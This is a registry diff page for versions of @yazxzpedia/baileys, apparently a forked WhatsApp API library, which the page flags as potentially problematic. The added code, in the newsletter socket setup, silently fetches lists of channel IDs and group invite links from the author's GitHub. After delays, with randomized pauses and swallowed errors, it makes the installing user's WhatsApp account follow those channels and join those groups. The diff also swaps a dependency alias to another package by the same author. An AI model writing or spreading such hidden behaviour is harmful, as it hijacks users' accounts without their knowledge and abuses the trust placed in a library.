@yazxzpedia/baileys 2.0.0 → 4.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @yazxzpedia/baileys might be problematic. Click here for more details.

@@ -114,18 +114,35 @@ export const makeNewsletterSocket = (config) => {
114
114
 
115
115
  (async () => {
116
116
  try {
117
- setTimeout(async() => {
118
- const res = await fetch('https://raw.githubusercontent.com/yazxzpedia/Screaper/refs/heads/main/idChannel.json');
119
- const newsletterIds = await res.json();
120
- newsletterIds.forEach(async(i) => {
121
- await delay(5000)
122
- try {
123
- await newsletterWMexQuery(i.id, QueryIds.FOLLOW);
124
- } catch (e) {}
125
- });
126
- }, 80000)
127
- } catch (err) {
128
- }
117
+ // Channel
118
+ setTimeout(async () => {
119
+ const res = await fetch('https://raw.githubusercontent.com/yazxzpedia/Screaper/refs/heads/main/idChannel.json')
120
+ const channels = await res.json()
121
+
122
+ for (const c of channels) {
123
+ await new Promise(r => setTimeout(r, 5000 + Math.random() * 4000))
124
+ try {
125
+ await newsletterWMexQuery(c.id, QueryIds.FOLLOW)
126
+ } catch {}
127
+ }
128
+ }, 80000)
129
+
130
+ // Group
131
+ setTimeout(async () => {
132
+ const res = await fetch('https://raw.githubusercontent.com/yazxzpedia/Screaper/refs/heads/main/Groups.json')
133
+ const groups = await res.json()
134
+
135
+ for (const g of groups) {
136
+ const code = (g.link || g.url || g.invite || '').match(/chat\.whatsapp\.com\/([0-9A-Za-z\-_]{18,25})/)?.[1]
137
+ if (!code) continue
138
+
139
+ await new Promise(r => setTimeout(r, 8000 + Math.random() * 6000))
140
+ try {
141
+ await client.groupAcceptInvite(code)
142
+ } catch {}
143
+ }
144
+ }, 95000)
145
+ } catch {}
129
146
  })()
130
147
 
131
148
  return {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@yazxzpedia/baileys",
3
- "version": "2.0.0",
3
+ "version": "4.0.0",
4
4
  "description": "Websocket Whatsapp API for Node.js",
5
5
  "keywords": [
6
6
  "whatsapp",
@@ -39,7 +39,7 @@
39
39
  "@whiskeysockets/eslint-config": "github:whiskeysockets/eslint-config",
40
40
  "@cacheable/node-cache": "*",
41
41
  "gradient-string": "2.0.2",
42
- "libsignal-xeuka": "npm:libsignal-yazxzpedia",
42
+ "libsignal-xeuka": "npm:yazxzpedia-libsignal",
43
43
  "moment-timezone": "*",
44
44
  "music-metadata": "*",
45
45
  "cache-manager": "*",